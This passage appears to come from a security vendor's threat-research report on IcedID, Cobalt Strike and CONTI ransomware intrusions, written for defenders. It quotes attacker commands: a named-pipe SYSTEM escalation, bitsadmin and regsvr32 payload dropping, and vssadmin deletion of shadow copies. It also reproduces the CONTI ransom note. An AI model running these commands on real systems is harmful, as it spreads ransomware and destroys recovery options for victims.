Hunting tip: The above pattern of the GetSystem command could help in detecting privilege escalation attempts via named pipe. Also, the cmd command executes via services.exe process which could be the second indicator.

“Technique 1 creates a named pipe from Meterpreter. It also creates and runs a service that runs cmd.exe /c echo “some data” >\.pipe[random pipe here]. When the spawned cmd.exe connects to Meterpreter’s named pipe, Meterpreter can impersonate that security context. Impersonation of clients is a named pipes feature. The context of the service is SYSTEM, so when you impersonate it, you become SYSTEM.” – Cobalt Strike

After the threat actors have enumerated the compromised host, mapped the inter-domain, disabled the security applications, and gained SYSTEM privileges, the system is compromised and ready for the final impact by CONTI ransomware.

Final Stage – CONTI Infection

For lateral movement and distribution of CONTI ransomware, threat actors are using C$ share.

bitsadmin /transfer debjob /download /priority normal \*C$Windowsmd.dll C:Windows GROUP_x86.dll

Bitsadmin is a legitimate Microsoft Windows binary (used for managing background intelligent transfer) abused by threat actors to allow dropping of the CONTI ransomware in the C$ share.

The execution method used to execute the CONTI DLL is regsvr32 command.

c:windowssyswow64regsvr32.exe /s C:WindowsGROUP_x86.dll


Using Cynet’s Decoy Files mechanism, which is part of our Advanced Ransomware Heuristics detection mechanism, we can detect and prevent attempts to encrypt files by CONTI ransomware:deviceharddiskvolume4*29.xlsx.ahiod










Additional example of CONTI ransomware encrypted files and the ransomware note

CONTI utilizes Windows Restart Manager to ensure the data files are ready for encryption and there is no open handles to the targeted files by other processes, and if so, the CONTI ransomware terminates these processes. The same technique is used by Sodinokibi (A.K.A REvil) and Ryuk ransomware.

Inhibiting recovery commands detected during CONTI infection preventing system recovery by deleting volume shadow copies using vssadmin commands.

vssadmin.exe resize shadowstorage /for=C: /on=C: /maxsize=401MB

vssadmin.exe resize shadowstorage /for=C: /on=C: /maxsize=unbounded

vssadmin.exe delete shadows /all /quiet

The threat actors executed the shadow copy deletion commands manually in most cases through .bat files. This action of deleting shadow copies, not via the ransomware functionality itself, is a new development in recent incidents.
We suspect that this action was performed manually to impede the detection of the inhibiting recovery technique. The shadow copy deletion commands are not directly related to the ransomware activity in this execution method and are similar to legitimate activity originated from administrators and third party applications.

CONTI Ransomware note:

All of your files are currently encrypted by CONTI strain.

As you know (if you don’t – just “google it”), all of the data that has been encrypted by our software cannot be recovered by any means without contacting our team directly.

If you try to use any additional recovery software – the files might be damaged, so if you are willing to try – try it on the data of the lowest value.

To make sure that we REALLY CAN get your data back – we offer you to decrypt 2 random files completely free of charge.

You can contact our team directly for further instructions through our website :


(you should download and install TOR browser first




Just in case, if you try to ignore us. We’ve downloaded a pack of your internal data and are ready to publish it on out news website if you do not respond. So it will be better for both sides if you contact us as soon as possible.




The CONTI group recently started using a “double extortion” technique, threatening victims that the exfiltrated data will be publicly leaked. This is a new trend amongst threat actors that used to focus ransomware campaigns and attacks solely on data encryption but have evolved and created an additional leverage and source of income.


Just in case, if you try to ignore us. We’ve downloaded a pack of your internal data and are ready to publish it on our news website if you do not respond. So it will be better for both sides if you contact us as soon as possible.


As part of this extensive research, we’ve observed a cooperation pattern amongst threat groups. Specifically, a high number of IcedID infections utilizing Cobalt Strike beacons and ultimately attempting to encrypt hosts using CONTI ransomware.
Attackers enhance and tune their mean of operations and their control over every step of their campaigns. Splitting their attacks while utilizing different payloads which in turn enable them to better evade security solutions and demonstrating total awareness and control over the target environment.
In other words, two different independent malwares, developed by two different attack groups – are collaborating to download, spread and infect compromised organizations with ransomware.

As for the initial access, it seems like the good old phishing / spear phishing still remains the favorable initial access method for threat actors and for a good reason as current number suggest that 97% of attacks begin with this method which seem to trick and lure even technical professional as well as security-oriented personnel.

Another alarming observation which raises many concerns is the fact that threat actors which seemed to avoid targeting the healthcare sector are no longer following this code of conduct and we see a rise in attacks against Hospitals, Health clinics, Pharmacies etc. among these threat actors you can find Wizard Spider as well as Lunar Spider.
According to previous knowledge, the Russian group “Wizard Spider”, which is related to the splinter groups “Grim Spider” and “Lunar Spider”, is behind numerous attacks against this type of targets.
Wizard Spider threat group is the Russia-based operator of the TrickBot banking malware, which has primarily focused on wire fraud in the past.
The HSE and Department of Health confirmed that The National Cyber Security Centre, along with the Gardaí and the Defense Forces, is currently investigating few very serious cyber-attacks.
The groups are also wanted by the FBI, the UK’s National Crime Agency, Interpol, and Europol.
And, as this article demonstrates, IcedID, developed by Lunar Spider, is primarily used to steal and exfiltrate financial information, is now being used as a downloader to distribute Conti Ransomware, developed by Wizard Spider, to compromised organizations.

Additionally, in most if not all recent attacks and campaigns, we’ve observed the same MO where threat actors turn to the fairly new “Double extortion” technique in which they not only get hold of the victims assets and demand Ransome for their decryption, but also exfiltrating data and threatening the victim that if the Ransome won’t be paid, the data, IP, customer information and other exfiltrated data will be sold or published to the public.
These findings and observations are possible due to Cynet’s multiple layers and mechanisms allowing enhanced detection, prevention and visibility over such attack attempts while enabling security teams and professionals to better examine and understand each step and respond accordingly.


IcedID samples that use the above C2 server – sha256: